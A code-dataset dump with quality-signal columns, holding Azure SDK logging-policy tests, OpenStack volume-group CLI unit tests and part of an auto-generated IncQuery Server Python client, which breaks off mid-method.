hexsha
string | size
int64 | ext
string | lang
string | max_stars_repo_path
string | max_stars_repo_name
string | max_stars_repo_head_hexsha
string | max_stars_repo_licenses
list | max_stars_count
int64 | max_stars_repo_stars_event_min_datetime
string | max_stars_repo_stars_event_max_datetime
string | max_issues_repo_path
string | max_issues_repo_name
string | max_issues_repo_head_hexsha
string | max_issues_repo_licenses
list | max_issues_count
int64 | max_issues_repo_issues_event_min_datetime
string | max_issues_repo_issues_event_max_datetime
string | max_forks_repo_path
string | max_forks_repo_name
string | max_forks_repo_head_hexsha
string | max_forks_repo_licenses
list | max_forks_count
int64 | max_forks_repo_forks_event_min_datetime
string | max_forks_repo_forks_event_max_datetime
string | content
string | avg_line_length
float64 | max_line_length
int64 | alphanum_fraction
float64 | qsc_code_num_words_quality_signal
int64 | qsc_code_num_chars_quality_signal
float64 | qsc_code_mean_word_length_quality_signal
float64 | qsc_code_frac_words_unique_quality_signal
float64 | qsc_code_frac_chars_top_2grams_quality_signal
float64 | qsc_code_frac_chars_top_3grams_quality_signal
float64 | qsc_code_frac_chars_top_4grams_quality_signal
float64 | qsc_code_frac_chars_dupe_5grams_quality_signal
float64 | qsc_code_frac_chars_dupe_6grams_quality_signal
float64 | qsc_code_frac_chars_dupe_7grams_quality_signal
float64 | qsc_code_frac_chars_dupe_8grams_quality_signal
float64 | qsc_code_frac_chars_dupe_9grams_quality_signal
float64 | qsc_code_frac_chars_dupe_10grams_quality_signal
float64 | qsc_code_frac_chars_replacement_symbols_quality_signal
float64 | qsc_code_frac_chars_digital_quality_signal
float64 | qsc_code_frac_chars_whitespace_quality_signal
float64 | qsc_code_size_file_byte_quality_signal
float64 | qsc_code_num_lines_quality_signal
float64 | qsc_code_num_chars_line_max_quality_signal
float64 | qsc_code_num_chars_line_mean_quality_signal
float64 | qsc_code_frac_chars_alphabet_quality_signal
float64 | qsc_code_frac_chars_comments_quality_signal
float64 | qsc_code_cate_xml_start_quality_signal
float64 | qsc_code_frac_lines_dupe_lines_quality_signal
float64 | qsc_code_cate_autogen_quality_signal
float64 | qsc_code_frac_lines_long_string_quality_signal
float64 | qsc_code_frac_chars_string_length_quality_signal
float64 | qsc_code_frac_chars_long_word_length_quality_signal
float64 | qsc_code_frac_lines_string_concat_quality_signal
float64 | qsc_code_cate_encoded_data_quality_signal
float64 | qsc_code_frac_chars_hex_words_quality_signal
float64 | qsc_code_frac_lines_prompt_comments_quality_signal
float64 | qsc_code_frac_lines_assert_quality_signal
float64 | qsc_codepython_cate_ast_quality_signal
float64 | qsc_codepython_frac_lines_func_ratio_quality_signal
float64 | qsc_codepython_cate_var_zero_quality_signal
bool | qsc_codepython_frac_lines_pass_quality_signal
float64 | qsc_codepython_frac_lines_import_quality_signal
float64 | qsc_codepython_frac_lines_simplefunc_quality_signal
float64 | qsc_codepython_score_lines_no_logic_quality_signal
float64 | qsc_codepython_frac_lines_print_quality_signal
float64 | qsc_code_num_words
int64 | qsc_code_num_chars
int64 | qsc_code_mean_word_length
int64 | qsc_code_frac_words_unique
null | qsc_code_frac_chars_top_2grams
int64 | qsc_code_frac_chars_top_3grams
int64 | qsc_code_frac_chars_top_4grams
int64 | qsc_code_frac_chars_dupe_5grams
int64 | qsc_code_frac_chars_dupe_6grams
int64 | qsc_code_frac_chars_dupe_7grams
int64 | qsc_code_frac_chars_dupe_8grams
int64 | qsc_code_frac_chars_dupe_9grams
int64 | qsc_code_frac_chars_dupe_10grams
int64 | qsc_code_frac_chars_replacement_symbols
int64 | qsc_code_frac_chars_digital
int64 | qsc_code_frac_chars_whitespace
int64 | qsc_code_size_file_byte
int64 | qsc_code_num_lines
int64 | qsc_code_num_chars_line_max
int64 | qsc_code_num_chars_line_mean
int64 | qsc_code_frac_chars_alphabet
int64 | qsc_code_frac_chars_comments
int64 | qsc_code_cate_xml_start
int64 | qsc_code_frac_lines_dupe_lines
int64 | qsc_code_cate_autogen
int64 | qsc_code_frac_lines_long_string
int64 | qsc_code_frac_chars_string_length
int64 | qsc_code_frac_chars_long_word_length
int64 | qsc_code_frac_lines_string_concat
null | qsc_code_cate_encoded_data
int64 | qsc_code_frac_chars_hex_words
int64 | qsc_code_frac_lines_prompt_comments
int64 | qsc_code_frac_lines_assert
int64 | qsc_codepython_cate_ast
int64 | qsc_codepython_frac_lines_func_ratio
int64 | qsc_codepython_cate_var_zero
int64 | qsc_codepython_frac_lines_pass
int64 | qsc_codepython_frac_lines_import
int64 | qsc_codepython_frac_lines_simplefunc
int64 | qsc_codepython_score_lines_no_logic
int64 | qsc_codepython_frac_lines_print
int64 | effective
string | hits
int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
13ed07d67af653c7e69106d1c3fde243233669c8
| 11,143
|
py
|
Python
|
sdk/core/azure-core/tests/async_tests/test_http_logging_policy_async.py
|
JianpingChen/azure-sdk-for-python
|
3072fc8c0366287fbaea1b02493a50259c3248a2
|
[
"MIT"
] | 8
|
2021-01-13T23:44:08.000Z
|
2021-03-17T10:13:36.000Z
|
sdk/core/azure-core/tests/async_tests/test_http_logging_policy_async.py
|
JianpingChen/azure-sdk-for-python
|
3072fc8c0366287fbaea1b02493a50259c3248a2
|
[
"MIT"
] | 510
|
2019-07-17T16:11:19.000Z
|
2021-08-02T08:38:32.000Z
|
sdk/core/azure-core/tests/async_tests/test_http_logging_policy_async.py
|
JianpingChen/azure-sdk-for-python
|
3072fc8c0366287fbaea1b02493a50259c3248a2
|
[
"MIT"
] | 5
|
2019-09-04T12:51:37.000Z
|
2020-09-16T07:28:40.000Z
|
# ------------------------------------
# Copyright (c) Microsoft Corporation.
# Licensed under the MIT License.
# ------------------------------------
"""Tests for the HttpLoggingPolicy."""
import logging
import types
import pytest
import sys
from unittest.mock import Mock
from azure.core.pipeline import (
PipelineResponse,
PipelineRequest,
PipelineContext
)
from azure.core.pipeline.transport import (
HttpRequest,
HttpResponse,
)
from azure.core.pipeline.policies import (
HttpLoggingPolicy,
)
def test_http_logger():
class MockHandler(logging.Handler):
def __init__(self):
super(MockHandler, self).__init__()
self.messages = []
def reset(self):
self.messages = []
def emit(self, record):
self.messages.append(record)
mock_handler = MockHandler()
logger = logging.getLogger("testlogger")
logger.addHandler(mock_handler)
logger.setLevel(logging.DEBUG)
policy = HttpLoggingPolicy(logger=logger)
universal_request = HttpRequest('GET', 'http://127.0.0.1/')
http_response = HttpResponse(universal_request, None)
http_response.status_code = 202
request = PipelineRequest(universal_request, PipelineContext(None))
# Basics
policy.on_request(request)
response = PipelineResponse(request, http_response, request.context)
policy.on_response(request, response)
assert all(m.levelname == 'INFO' for m in mock_handler.messages)
assert len(mock_handler.messages) == 6
assert mock_handler.messages[0].message == "Request URL: 'http://127.0.0.1/'"
assert mock_handler.messages[1].message == "Request method: 'GET'"
assert mock_handler.messages[2].message == 'Request headers:'
assert mock_handler.messages[3].message == 'No body was attached to the request'
assert mock_handler.messages[4].message == 'Response status: 202'
assert mock_handler.messages[5].message == 'Response headers:'
mock_handler.reset()
# Let's make this request a failure, retried twice
policy.on_request(request)
response = PipelineResponse(request, http_response, request.context)
policy.on_response(request, response)
policy.on_request(request)
response = PipelineResponse(request, http_response, request.context)
policy.on_response(request, response)
assert all(m.levelname == 'INFO' for m in mock_handler.messages)
assert len(mock_handler.messages) == 12
assert mock_handler.messages[0].message == "Request URL: 'http://127.0.0.1/'"
assert mock_handler.messages[1].message == "Request method: 'GET'"
assert mock_handler.messages[2].message == 'Request headers:'
assert mock_handler.messages[3].message == 'No body was attached to the request'
assert mock_handler.messages[4].message == 'Response status: 202'
assert mock_handler.messages[5].message == 'Response headers:'
assert mock_handler.messages[6].message == "Request URL: 'http://127.0.0.1/'"
assert mock_handler.messages[7].message == "Request method: 'GET'"
assert mock_handler.messages[8].message == 'Request headers:'
assert mock_handler.messages[9].message == 'No body was attached to the request'
assert mock_handler.messages[10].message == 'Response status: 202'
assert mock_handler.messages[11].message == 'Response headers:'
mock_handler.reset()
# Headers and query parameters
policy.allowed_query_params = ['country']
universal_request.headers = {
"Accept": "Caramel",
"Hate": "Chocolat",
}
http_response.headers = {
"Content-Type": "Caramel",
"HateToo": "Chocolat",
}
universal_request.url = "http://127.0.0.1/?country=france&city=aix"
policy.on_request(request)
response = PipelineResponse(request, http_response, request.context)
policy.on_response(request, response)
assert all(m.levelname == 'INFO' for m in mock_handler.messages)
assert len(mock_handler.messages) == 10
assert mock_handler.messages[0].message == "Request URL: 'http://127.0.0.1/?country=france&city=REDACTED'"
assert mock_handler.messages[1].message == "Request method: 'GET'"
assert mock_handler.messages[2].message == "Request headers:"
# Dict not ordered in Python, exact logging order doesn't matter
assert set([
mock_handler.messages[3].message,
mock_handler.messages[4].message
]) == set([
" 'Accept': 'Caramel'",
" 'Hate': 'REDACTED'"
])
assert mock_handler.messages[5].message == 'No body was attached to the request'
assert mock_handler.messages[6].message == "Response status: 202"
assert mock_handler.messages[7].message == "Response headers:"
# Dict not ordered in Python, exact logging order doesn't matter
assert set([
mock_handler.messages[8].message,
mock_handler.messages[9].message
]) == set([
" 'Content-Type': 'Caramel'",
" 'HateToo': 'REDACTED'"
])
mock_handler.reset()
def test_http_logger_operation_level():
class MockHandler(logging.Handler):
def __init__(self):
super(MockHandler, self).__init__()
self.messages = []
def reset(self):
self.messages = []
def emit(self, record):
self.messages.append(record)
mock_handler = MockHandler()
logger = logging.getLogger("testlogger")
logger.addHandler(mock_handler)
logger.setLevel(logging.DEBUG)
policy = HttpLoggingPolicy()
kwargs={'logger': logger}
universal_request = HttpRequest('GET', 'http://127.0.0.1/')
http_response = HttpResponse(universal_request, None)
http_response.status_code = 202
request = PipelineRequest(universal_request, PipelineContext(None, **kwargs))
# Basics
policy.on_request(request)
response = PipelineResponse(request, http_response, request.context)
policy.on_response(request, response)
assert all(m.levelname == 'INFO' for m in mock_handler.messages)
assert len(mock_handler.messages) == 6
assert mock_handler.messages[0].message == "Request URL: 'http://127.0.0.1/'"
assert mock_handler.messages[1].message == "Request method: 'GET'"
assert mock_handler.messages[2].message == 'Request headers:'
assert mock_handler.messages[3].message == 'No body was attached to the request'
assert mock_handler.messages[4].message == 'Response status: 202'
assert mock_handler.messages[5].message == 'Response headers:'
mock_handler.reset()
# Let's make this request a failure, retried twice
request = PipelineRequest(universal_request, PipelineContext(None, **kwargs))
policy.on_request(request)
response = PipelineResponse(request, http_response, request.context)
policy.on_response(request, response)
policy.on_request(request)
response = PipelineResponse(request, http_response, request.context)
policy.on_response(request, response)
assert all(m.levelname == 'INFO' for m in mock_handler.messages)
assert len(mock_handler.messages) == 12
assert mock_handler.messages[0].message == "Request URL: 'http://127.0.0.1/'"
assert mock_handler.messages[1].message == "Request method: 'GET'"
assert mock_handler.messages[2].message == 'Request headers:'
assert mock_handler.messages[3].message == 'No body was attached to the request'
assert mock_handler.messages[4].message == 'Response status: 202'
assert mock_handler.messages[5].message == 'Response headers:'
assert mock_handler.messages[6].message == "Request URL: 'http://127.0.0.1/'"
assert mock_handler.messages[7].message == "Request method: 'GET'"
assert mock_handler.messages[8].message == 'Request headers:'
assert mock_handler.messages[9].message == 'No body was attached to the request'
assert mock_handler.messages[10].message == 'Response status: 202'
assert mock_handler.messages[11].message == 'Response headers:'
mock_handler.reset()
def test_http_logger_with_body():
class MockHandler(logging.Handler):
def __init__(self):
super(MockHandler, self).__init__()
self.messages = []
def reset(self):
self.messages = []
def emit(self, record):
self.messages.append(record)
mock_handler = MockHandler()
logger = logging.getLogger("testlogger")
logger.addHandler(mock_handler)
logger.setLevel(logging.DEBUG)
policy = HttpLoggingPolicy(logger=logger)
universal_request = HttpRequest('GET', 'http://127.0.0.1/')
universal_request.body = "testbody"
http_response = HttpResponse(universal_request, None)
http_response.status_code = 202
request = PipelineRequest(universal_request, PipelineContext(None))
policy.on_request(request)
response = PipelineResponse(request, http_response, request.context)
policy.on_response(request, response)
assert all(m.levelname == 'INFO' for m in mock_handler.messages)
assert len(mock_handler.messages) == 6
assert mock_handler.messages[0].message == "Request URL: 'http://127.0.0.1/'"
assert mock_handler.messages[1].message == "Request method: 'GET'"
assert mock_handler.messages[2].message == 'Request headers:'
assert mock_handler.messages[3].message == 'A body is sent with the request'
assert mock_handler.messages[4].message == 'Response status: 202'
assert mock_handler.messages[5].message == 'Response headers:'
mock_handler.reset()
@pytest.mark.skipif(sys.version_info < (3, 6), reason="types.AsyncGeneratorType does not exist in 3.5")
def test_http_logger_with_generator_body():
class MockHandler(logging.Handler):
def __init__(self):
super(MockHandler, self).__init__()
self.messages = []
def reset(self):
self.messages = []
def emit(self, record):
self.messages.append(record)
mock_handler = MockHandler()
logger = logging.getLogger("testlogger")
logger.addHandler(mock_handler)
logger.setLevel(logging.DEBUG)
policy = HttpLoggingPolicy(logger=logger)
universal_request = HttpRequest('GET', 'http://127.0.0.1/')
mock = Mock()
mock.__class__ = types.AsyncGeneratorType
universal_request.body = mock
http_response = HttpResponse(universal_request, None)
http_response.status_code = 202
request = PipelineRequest(universal_request, PipelineContext(None))
policy.on_request(request)
response = PipelineResponse(request, http_response, request.context)
policy.on_response(request, response)
assert all(m.levelname == 'INFO' for m in mock_handler.messages)
assert len(mock_handler.messages) == 6
assert mock_handler.messages[0].message == "Request URL: 'http://127.0.0.1/'"
assert mock_handler.messages[1].message == "Request method: 'GET'"
assert mock_handler.messages[2].message == 'Request headers:'
assert mock_handler.messages[3].message == 'File upload'
assert mock_handler.messages[4].message == 'Response status: 202'
assert mock_handler.messages[5].message == 'Response headers:'
mock_handler.reset()
| 38.160959
| 110
| 0.691555
| 1,332
| 11,143
| 5.636637
| 0.108108
| 0.127464
| 0.182206
| 0.179808
| 0.891716
| 0.876931
| 0.87227
| 0.85642
| 0.849893
| 0.849893
| 0
| 0.021789
| 0.180382
| 11,143
| 291
| 111
| 38.292096
| 0.800285
| 0.039756
| 0
| 0.756757
| 0
| 0.004505
| 0.157619
| 0.002246
| 0
| 0
| 0
| 0
| 0.315315
| 1
| 0.072072
| false
| 0
| 0.036036
| 0
| 0.126126
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 9
|
13ef38d20820e606b6ef5c676c42a9b93257e7d6
| 15,797
|
py
|
Python
|
openstackclient/tests/unit/volume/v3/test_volume_group.py
|
mydevice/python-openstackclient
|
4891bb38208fdcd1a2ae60e47b056841e14fbdf7
|
[
"Apache-2.0"
] | 262
|
2015-01-29T20:10:49.000Z
|
2022-03-23T01:59:23.000Z
|
openstackclient/tests/unit/volume/v3/test_volume_group.py
|
mydevice/python-openstackclient
|
4891bb38208fdcd1a2ae60e47b056841e14fbdf7
|
[
"Apache-2.0"
] | 5
|
2015-01-21T02:37:35.000Z
|
2021-11-23T02:26:00.000Z
|
openstackclient/tests/unit/volume/v3/test_volume_group.py
|
mydevice/python-openstackclient
|
4891bb38208fdcd1a2ae60e47b056841e14fbdf7
|
[
"Apache-2.0"
] | 194
|
2015-01-08T07:39:27.000Z
|
2022-03-30T13:51:23.000Z
|
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
from cinderclient import api_versions
from osc_lib import exceptions
from openstackclient.tests.unit.volume.v3 import fakes as volume_fakes
from openstackclient.volume.v3 import volume_group
class TestVolumeGroup(volume_fakes.TestVolume):
def setUp(self):
super().setUp()
self.volume_groups_mock = self.app.client_manager.volume.groups
self.volume_groups_mock.reset_mock()
self.volume_group_types_mock = \
self.app.client_manager.volume.group_types
self.volume_group_types_mock.reset_mock()
self.volume_types_mock = self.app.client_manager.volume.volume_types
self.volume_types_mock.reset_mock()
class TestVolumeGroupCreate(TestVolumeGroup):
fake_volume_type = volume_fakes.FakeVolumeType.create_one_volume_type()
fake_volume_group_type = \
volume_fakes.FakeVolumeGroupType.create_one_volume_group_type()
fake_volume_group = volume_fakes.FakeVolumeGroup.create_one_volume_group(
attrs={
'group_type': fake_volume_group_type.id,
'volume_types': [fake_volume_type.id],
},
)
columns = (
'ID',
'Status',
'Name',
'Description',
'Group Type',
'Volume Types',
'Availability Zone',
'Created At',
'Volumes',
'Group Snapshot ID',
'Source Group ID',
)
data = (
fake_volume_group.id,
fake_volume_group.status,
fake_volume_group.name,
fake_volume_group.description,
fake_volume_group.group_type,
fake_volume_group.volume_types,
fake_volume_group.availability_zone,
fake_volume_group.created_at,
fake_volume_group.volumes,
fake_volume_group.group_snapshot_id,
fake_volume_group.source_group_id,
)
def setUp(self):
super().setUp()
self.volume_types_mock.get.return_value = self.fake_volume_type
self.volume_group_types_mock.get.return_value = \
self.fake_volume_group_type
self.volume_groups_mock.create.return_value = self.fake_volume_group
self.volume_groups_mock.get.return_value = self.fake_volume_group
self.cmd = volume_group.CreateVolumeGroup(self.app, None)
def test_volume_group_create(self):
self.app.client_manager.volume.api_version = \
api_versions.APIVersion('3.13')
arglist = [
self.fake_volume_group_type.id,
self.fake_volume_type.id,
]
verifylist = [
('volume_group_type', self.fake_volume_group_type.id),
('volume_types', [self.fake_volume_type.id]),
('name', None),
('description', None),
('availability_zone', None),
]
parsed_args = self.check_parser(self.cmd, arglist, verifylist)
columns, data = self.cmd.take_action(parsed_args)
self.volume_group_types_mock.get.assert_called_once_with(
self.fake_volume_group_type.id)
self.volume_types_mock.get.assert_called_once_with(
self.fake_volume_type.id)
self.volume_groups_mock.create.assert_called_once_with(
self.fake_volume_group_type.id,
self.fake_volume_type.id,
None,
None,
availability_zone=None,
)
self.assertEqual(self.columns, columns)
self.assertCountEqual(self.data, data)
def test_volume_group_create_with_options(self):
self.app.client_manager.volume.api_version = \
api_versions.APIVersion('3.13')
arglist = [
self.fake_volume_group_type.id,
self.fake_volume_type.id,
'--name', 'foo',
'--description', 'hello, world',
'--availability-zone', 'bar',
]
verifylist = [
('volume_group_type', self.fake_volume_group_type.id),
('volume_types', [self.fake_volume_type.id]),
('name', 'foo'),
('description', 'hello, world'),
('availability_zone', 'bar'),
]
parsed_args = self.check_parser(self.cmd, arglist, verifylist)
columns, data = self.cmd.take_action(parsed_args)
self.volume_group_types_mock.get.assert_called_once_with(
self.fake_volume_group_type.id)
self.volume_types_mock.get.assert_called_once_with(
self.fake_volume_type.id)
self.volume_groups_mock.create.assert_called_once_with(
self.fake_volume_group_type.id,
self.fake_volume_type.id,
'foo',
'hello, world',
availability_zone='bar',
)
self.assertEqual(self.columns, columns)
self.assertCountEqual(self.data, data)
def test_volume_group_create_pre_v313(self):
self.app.client_manager.volume.api_version = \
api_versions.APIVersion('3.12')
arglist = [
self.fake_volume_group_type.id,
self.fake_volume_type.id,
]
verifylist = [
('volume_group_type', self.fake_volume_group_type.id),
('volume_types', [self.fake_volume_type.id]),
('name', None),
('description', None),
('availability_zone', None),
]
parsed_args = self.check_parser(self.cmd, arglist, verifylist)
exc = self.assertRaises(
exceptions.CommandError,
self.cmd.take_action,
parsed_args)
self.assertIn(
'--os-volume-api-version 3.13 or greater is required',
str(exc))
class TestVolumeGroupDelete(TestVolumeGroup):
fake_volume_group = \
volume_fakes.FakeVolumeGroup.create_one_volume_group()
def setUp(self):
super().setUp()
self.volume_groups_mock.get.return_value = self.fake_volume_group
self.volume_groups_mock.delete.return_value = None
self.cmd = volume_group.DeleteVolumeGroup(self.app, None)
def test_volume_group_delete(self):
self.app.client_manager.volume.api_version = \
api_versions.APIVersion('3.13')
arglist = [
self.fake_volume_group.id,
'--force',
]
verifylist = [
('group', self.fake_volume_group.id),
('force', True),
]
parsed_args = self.check_parser(self.cmd, arglist, verifylist)
result = self.cmd.take_action(parsed_args)
self.volume_groups_mock.delete.assert_called_once_with(
self.fake_volume_group.id, delete_volumes=True,
)
self.assertIsNone(result)
def test_volume_group_delete_pre_v313(self):
self.app.client_manager.volume.api_version = \
api_versions.APIVersion('3.12')
arglist = [
self.fake_volume_group.id,
]
verifylist = [
('group', self.fake_volume_group.id),
('force', False),
]
parsed_args = self.check_parser(self.cmd, arglist, verifylist)
exc = self.assertRaises(
exceptions.CommandError,
self.cmd.take_action,
parsed_args)
self.assertIn(
'--os-volume-api-version 3.13 or greater is required',
str(exc))
class TestVolumeGroupSet(TestVolumeGroup):
fake_volume_group = \
volume_fakes.FakeVolumeGroup.create_one_volume_group()
columns = (
'ID',
'Status',
'Name',
'Description',
'Group Type',
'Volume Types',
'Availability Zone',
'Created At',
'Volumes',
'Group Snapshot ID',
'Source Group ID',
)
data = (
fake_volume_group.id,
fake_volume_group.status,
fake_volume_group.name,
fake_volume_group.description,
fake_volume_group.group_type,
fake_volume_group.volume_types,
fake_volume_group.availability_zone,
fake_volume_group.created_at,
fake_volume_group.volumes,
fake_volume_group.group_snapshot_id,
fake_volume_group.source_group_id,
)
def setUp(self):
super().setUp()
self.volume_groups_mock.get.return_value = self.fake_volume_group
self.volume_groups_mock.update.return_value = self.fake_volume_group
self.cmd = volume_group.SetVolumeGroup(self.app, None)
def test_volume_group_set(self):
self.app.client_manager.volume.api_version = \
api_versions.APIVersion('3.13')
arglist = [
self.fake_volume_group.id,
'--name', 'foo',
'--description', 'hello, world',
]
verifylist = [
('group', self.fake_volume_group.id),
('name', 'foo'),
('description', 'hello, world'),
]
parsed_args = self.check_parser(self.cmd, arglist, verifylist)
columns, data = self.cmd.take_action(parsed_args)
self.volume_groups_mock.update.assert_called_once_with(
self.fake_volume_group.id, name='foo', description='hello, world',
)
self.assertEqual(self.columns, columns)
self.assertCountEqual(self.data, data)
def test_volume_group_with_enable_replication_option(self):
self.app.client_manager.volume.api_version = \
api_versions.APIVersion('3.38')
arglist = [
self.fake_volume_group.id,
'--enable-replication',
]
verifylist = [
('group', self.fake_volume_group.id),
('enable_replication', True),
]
parsed_args = self.check_parser(self.cmd, arglist, verifylist)
columns, data = self.cmd.take_action(parsed_args)
self.volume_groups_mock.enable_replication.assert_called_once_with(
self.fake_volume_group.id)
self.assertEqual(self.columns, columns)
self.assertCountEqual(self.data, data)
def test_volume_group_set_pre_v313(self):
self.app.client_manager.volume.api_version = \
api_versions.APIVersion('3.12')
arglist = [
self.fake_volume_group.id,
'--name', 'foo',
'--description', 'hello, world',
]
verifylist = [
('group', self.fake_volume_group.id),
('name', 'foo'),
('description', 'hello, world'),
]
parsed_args = self.check_parser(self.cmd, arglist, verifylist)
exc = self.assertRaises(
exceptions.CommandError,
self.cmd.take_action,
parsed_args)
self.assertIn(
'--os-volume-api-version 3.13 or greater is required',
str(exc))
def test_volume_group_with_enable_replication_option_pre_v338(self):
self.app.client_manager.volume.api_version = \
api_versions.APIVersion('3.37')
arglist = [
self.fake_volume_group.id,
'--enable-replication',
]
verifylist = [
('group', self.fake_volume_group.id),
('enable_replication', True),
]
parsed_args = self.check_parser(self.cmd, arglist, verifylist)
exc = self.assertRaises(
exceptions.CommandError,
self.cmd.take_action,
parsed_args)
self.assertIn(
'--os-volume-api-version 3.38 or greater is required',
str(exc))
class TestVolumeGroupList(TestVolumeGroup):
fake_volume_groups = \
volume_fakes.FakeVolumeGroup.create_volume_groups()
columns = (
'ID',
'Status',
'Name',
)
data = [
(
fake_volume_group.id,
fake_volume_group.status,
fake_volume_group.name,
) for fake_volume_group in fake_volume_groups
]
def setUp(self):
super().setUp()
self.volume_groups_mock.list.return_value = self.fake_volume_groups
self.cmd = volume_group.ListVolumeGroup(self.app, None)
def test_volume_group_list(self):
self.app.client_manager.volume.api_version = \
api_versions.APIVersion('3.13')
arglist = [
'--all-projects',
]
verifylist = [
('all_projects', True),
]
parsed_args = self.check_parser(self.cmd, arglist, verifylist)
columns, data = self.cmd.take_action(parsed_args)
self.volume_groups_mock.list.assert_called_once_with(
search_opts={
'all_tenants': True,
},
)
self.assertEqual(self.columns, columns)
self.assertCountEqual(tuple(self.data), data)
def test_volume_group_list_pre_v313(self):
self.app.client_manager.volume.api_version = \
api_versions.APIVersion('3.12')
arglist = [
'--all-projects',
]
verifylist = [
('all_projects', True),
]
parsed_args = self.check_parser(self.cmd, arglist, verifylist)
exc = self.assertRaises(
exceptions.CommandError,
self.cmd.take_action,
parsed_args)
self.assertIn(
'--os-volume-api-version 3.13 or greater is required',
str(exc))
class TestVolumeGroupFailover(TestVolumeGroup):
fake_volume_group = \
volume_fakes.FakeVolumeGroup.create_one_volume_group()
def setUp(self):
super().setUp()
self.volume_groups_mock.get.return_value = self.fake_volume_group
self.volume_groups_mock.failover_replication.return_value = None
self.cmd = volume_group.FailoverVolumeGroup(self.app, None)
def test_volume_group_failover(self):
self.app.client_manager.volume.api_version = \
api_versions.APIVersion('3.38')
arglist = [
self.fake_volume_group.id,
'--allow-attached-volume',
'--secondary-backend-id', 'foo',
]
verifylist = [
('group', self.fake_volume_group.id),
('allow_attached_volume', True),
('secondary_backend_id', 'foo'),
]
parsed_args = self.check_parser(self.cmd, arglist, verifylist)
result = self.cmd.take_action(parsed_args)
self.volume_groups_mock.failover_replication.assert_called_once_with(
self.fake_volume_group.id,
allow_attached_volume=True,
secondary_backend_id='foo',
)
self.assertIsNone(result)
def test_volume_group_failover_pre_v338(self):
self.app.client_manager.volume.api_version = \
api_versions.APIVersion('3.37')
arglist = [
self.fake_volume_group.id,
'--allow-attached-volume',
'--secondary-backend-id', 'foo',
]
verifylist = [
('group', self.fake_volume_group.id),
('allow_attached_volume', True),
('secondary_backend_id', 'foo'),
]
parsed_args = self.check_parser(self.cmd, arglist, verifylist)
exc = self.assertRaises(
exceptions.CommandError,
self.cmd.take_action,
parsed_args)
self.assertIn(
'--os-volume-api-version 3.38 or greater is required',
str(exc))
| 31.720884
| 78
| 0.6148
| 1,761
| 15,797
| 5.20954
| 0.102783
| 0.122302
| 0.112819
| 0.07663
| 0.859167
| 0.830063
| 0.821125
| 0.768694
| 0.743296
| 0.727491
| 0
| 0.007162
| 0.284105
| 15,797
| 497
| 79
| 31.784708
| 0.80405
| 0.032981
| 0
| 0.704261
| 0
| 0
| 0.092702
| 0.017689
| 0
| 0
| 0
| 0
| 0.087719
| 1
| 0.047619
| false
| 0
| 0.010025
| 0
| 0.105263
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
b91ae067743ee859c5d4fd1ead87902d5ebb7b84
| 23,569
|
py
|
Python
|
iqs_client/api/persistent_index_api.py
|
thomas-bc/mms-autocref
|
1db6697f929a1c782c902923209389e337ec6961
|
[
"Apache-2.0"
] | null | null | null |
iqs_client/api/persistent_index_api.py
|
thomas-bc/mms-autocref
|
1db6697f929a1c782c902923209389e337ec6961
|
[
"Apache-2.0"
] | null | null | null |
iqs_client/api/persistent_index_api.py
|
thomas-bc/mms-autocref
|
1db6697f929a1c782c902923209389e337ec6961
|
[
"Apache-2.0"
] | null | null | null |
# coding: utf-8
"""
IncQuery Server
No description provided (generated by Openapi Generator https://github.com/openapitools/openapi-generator) # noqa: E501
OpenAPI spec version: 0.12.0
Generated by: https://openapi-generator.tech
"""
from __future__ import absolute_import
import re # noqa: F401
# python 2 and python 3 compatibility library
import six
from iqs_client.api_client import ApiClient
class PersistentIndexApi(object):
"""NOTE: This class is auto generated by OpenAPI Generator
Ref: https://openapi-generator.tech
Do not edit the class manually.
"""
def __init__(self, api_client=None):
if api_client is None:
api_client = ApiClient()
self.api_client = api_client
def delete_all_persisted_model_compartments(self, **kwargs): # noqa: E501
"""Delete all model compartments from persistent index # noqa: E501
Delete all model compartments from persistent index # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.delete_all_persisted_model_compartments(async_req=True)
>>> result = thread.get()
:param async_req bool
:return: SimpleMessage
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.delete_all_persisted_model_compartments_with_http_info(**kwargs) # noqa: E501
else:
(data) = self.delete_all_persisted_model_compartments_with_http_info(**kwargs) # noqa: E501
return data
def delete_all_persisted_model_compartments_with_http_info(self, **kwargs): # noqa: E501
"""Delete all model compartments from persistent index # noqa: E501
Delete all model compartments from persistent index # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.delete_all_persisted_model_compartments_with_http_info(async_req=True)
>>> result = thread.get()
:param async_req bool
:return: SimpleMessage
If the method is called asynchronously,
returns the request thread.
"""
local_var_params = locals()
all_params = [] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
for key, val in six.iteritems(local_var_params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method delete_all_persisted_model_compartments" % key
)
local_var_params[key] = val
del local_var_params['kwargs']
